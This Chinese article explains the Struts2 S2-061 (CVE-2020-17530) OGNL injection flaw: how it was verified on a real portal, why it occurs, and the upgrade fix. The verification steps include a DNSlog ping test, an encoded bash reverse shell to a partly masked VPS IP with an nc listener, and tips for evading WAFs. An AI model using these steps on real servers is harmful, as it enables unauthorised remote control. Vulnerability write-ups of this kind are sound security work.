基于“Struts2-061”漏洞谈网络安全问题防范

    孙海波 王刚

    

    

    

    【摘要】? ? 本文就一起“Struts2-061”网络安全漏洞事件,详细介绍了该漏洞的验证步骤、原理、修复方法,如何做好网站的安全漏洞防范,防止黑客利用此漏洞对目标服务器进行数据窃取、篡改、破坏,或植入后门、挂马等恶意操作。

    【关键词】? ? 网络安全漏洞? ? 远程代码执行? ? OGNL表达式

    网站的作用越来越大,无论企业还是个人都离不开网站。网站是由各类网页集合而成的,而网页的实质就是一个html文件,因而网站是由许多的html文件构成的。网站在搭建过程中,需要使用各种各样的框架,比如Struts、Spring、Hibernate等。不同的应用程序框架具有不同的特点,在使用过程中,可能存在不同的安全隐患。

    Struts2是一个基于MVC(Model View Controller,模型视图控制器)设计模式的Web应用程序框架,它既是Struts1的升级版本,更是一个全新的Struts架构。因为Struts2使用MVC设计模式,该模式中的模型、视图、控制器三个层次各司其职,所以Struts2框架也面临一个问题,即用户数据在不同层次流转的问题。为了解决这一问题,提高访问速度,Struts2框架采用OGNL(Object-Graph Navigation Language,对象图导航语言)来操作,即Struts 2默认的表达式语言是OGNL,OGNL可以协助框架用非常简单的表达式访问不同的对象层。

    本文就从笔者实际工作中遇到的一起Struts2-061漏洞事件谈起,从该漏洞的验证方法、产生原理、漏洞危害、修复手段几个方面出发,全面地介绍Struts2-061漏洞的相关内容,希望能对广大读者有所帮助。

    一、事件经过

    笔者于2021年1月8日发现某单位门户网站存在网络安全漏洞,并向该单位进行了通报,漏洞详细情况如下:漏洞名称为Struts2-061漏洞;漏洞数量1个;漏洞等级为高危;漏洞地址为http://192.---.---.133/index.action(“---”代表网站部分URL地址);漏洞描述为,Apache Structs2在使用某些标签属性时,可能存在OGNL表达式注入漏洞,从而造成远程代码执行,目标服务器被提权,风险极大。

    漏洞验证前,我们看到该网址后缀为“.action”,则可判断该网站使用框架为Apache Struts2。Action对象是Struts2框架的核心,每个URL地址都映射到特定的Action对象中,Action对象对来自用户的请求提供处理逻辑,它有两个重要功能:一是将用户请求数据传递到框架视图中,二是协助框架确定响应结果对应视图中的用户请求。验证详细步骤如下。

    1.1对目标网站进行数据包抓取

    通过使用burpsuite工具对该网站进行数据包抓取,burpsuite工具是用于攻击、测试web应用程序的集成平台,包含了许多工具,并为这些工具设计了许多接口,以加快攻击、测试应用程序的过程,能快速处理网站对应的HTTP 消息、认证、代理、日志、警报等。抓包结果如图1所示。

    1.2修改發送请求

    我们将响应结果发送到burpsuite工具的repeater里,并对发送的数据包进行修改。因为我们需要重新发送请求数据,所以将请求方式由GET改为POST。数据包主要修改两个内容,一是修改Content-Type为常见的POST数据内容提交类型multipart/form-data,二是修改payload。另外,我们可以看到生成了一条记录boundary分割线符,其值为----WebKitFormBoundaryl7d1B1aGsV2wcZwF,也就是说我们只要输入这一值就相当于输入了一条分割线。具体修改内容为:

    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF

    空一行

    ------WebKitFormBoundaryl7d1B1aGsV2wcZwF

    Content-Disposition: form-data; name=”id”

    空一行

    (payload)

    ------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

    具体payload为:

    1.3用Dnslog.cn网站进行数据监测

    修改payload中的arglist.add参数并执行,我们使用Dnslog.cn网站进行数据监测,首先开启Dnslog,其中4puott.dnslog.cn为Dnslog.cn网站的临时域名,如图2所示。

    1.4执行修改后的请求数据包

    在burpsuite的repeater工具中将arglist.add参数值改为“ping 4puott.dnslog.cn”,意思表示我们通过目标主机来ping网址4puott.dnslog.cn(Dnslog.cn网站的临时域名),发送数据包如图3所示。

    发送数据请求后,我们可以在Dnslog.cn网站上看到有数据记录,证明目标网站执行了我们修改的ping 4puott.dnslog.cn命令,也就是实现了远程代码执行,因而可以证明该网站存在Struts2-061漏洞,如图4所示。

    1.5对目标服务器进行端口反弹

    在上一步中已实现了远程代码执行,那我们就尝试用nc工具(NetCat,一款网络工具,可通过TCP或UDP协议传输读写数据,对服务器端口进行扫描、监听)进行端口反弹,对目标服务器进行提权。保险起见,在执行端口反弹命令前,我们先将反弹命令进行编码加密,这样可以在一定程度上防止被WAF、防火墙等设备拦截,编码网站:http://www.jackson-t.ca/runtime-exec-payloads.html,如图5所示。

    反弹命令为“/bin/bash -i >& /dev/tcp/175.---.---.240/7777 0>&1”,其中175.---.---.240为我方虚拟专用VPS服务器的IP地址,7777为监听的端口,编码后的字符如图5所示,并将编码后的字符复制到payload中的arglist.add参数里,执行发送数据请求,如图6所示。

    然后在我们的VPS服务器上(root@miss-vps ~)运行命令“nc –lvnp 7777”,即监听端口7777,如图7所示。其中nc命令参数介绍如下:-l指使用监听模式,管控传入的资料;-v指显示指令执行过程;-n指直接使用IP地址,而不通过域名服务器;-p指设置本地主机使用的通信端口。

    1.6端口反弹成功

    在burpsuite工具上执行shell命令,并将数据反弹至我方VPS服务器7777端口,我们已成功登陆目标服务器(root@0a0b2bd89d8f),如图8所示。至此漏洞验证结束,我们未进行深层次操作,可判断该网站存在远程代码执行漏洞、存在Struts2-061漏洞。

    二、漏洞原理

    2020年12月,Apache Struts官方披露了编号为S2-061的远程代码执行漏洞,CVE编号为CVE-2020-17530。Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架,在使用某些标签时可能存在OGNL表达式注入漏洞的情况,从而造成远程代码执行,风险极大。

    在Struts2标签属性中强制使用OGNL表达式,并可被外部修改时,攻击者就可以构造恶意的OGNL表达式触发网络安全漏洞。Struts2会对某些标签属性(比如`id`,其他属性未知) 的属性值进行二次表达式解析,因此当这些标签属性中使用了`%{X}`,且`X`的值可被用戶控制修改时,用户再传入一个`%{payload}`,即可造成OGNL表达式执行。在我们上面提到的漏洞验证过程中,就是对payload中arglist.add(“id”)进行了修改,将id参数修改了两次,一次是修改为“ping 4puott.dnslog.cn”,另一次是修改为端口反弹命令,结果这两个修改后的payload都被成功执行,进而造成远程代码执行。

    Struts2-061漏洞正是利用了这一弱点,可造成远程代码执行,进而达到攻击者控制目标服务器的目的。

    三、修复方法

    对于Struts2-061漏洞,我们应该及时升级Struts2版本。目前官方已在新版本中修复了该漏洞,升级到Struts 2.5.26及更高版本便可修复Struts2-061漏洞,下载地址:https://struts.apache.org/download.cgi。另外,在升级前应做好数据备份工作,避免出现意外情况。

    四、结束语

    这次发现的Struts2-061漏洞,是利用了攻击者再传入一个`%{payload}`,即可造成OGNL表达式执行,导致远程代码执行,目标服务器被控制,网站很容易被植入后门。2020年上半年,境内外约1.8万个IP地址对我国境内约3.59万个网站植入后门,我国境内被植入后门的网站数量较2019年上半年增长36.9%[1]。

    对网站的安全防护是一个长期性的工作,没有捷径可走。除了定期对网站进行网络安全漏洞扫描外,技术人员平时还要多关注网络安全讯息,以避免自己网站存在漏洞被攻陷。这就要求我们要多了解、多学习、与时俱进,不断提升自己的技术水平,以高度的责任心做好网络安全防护工作。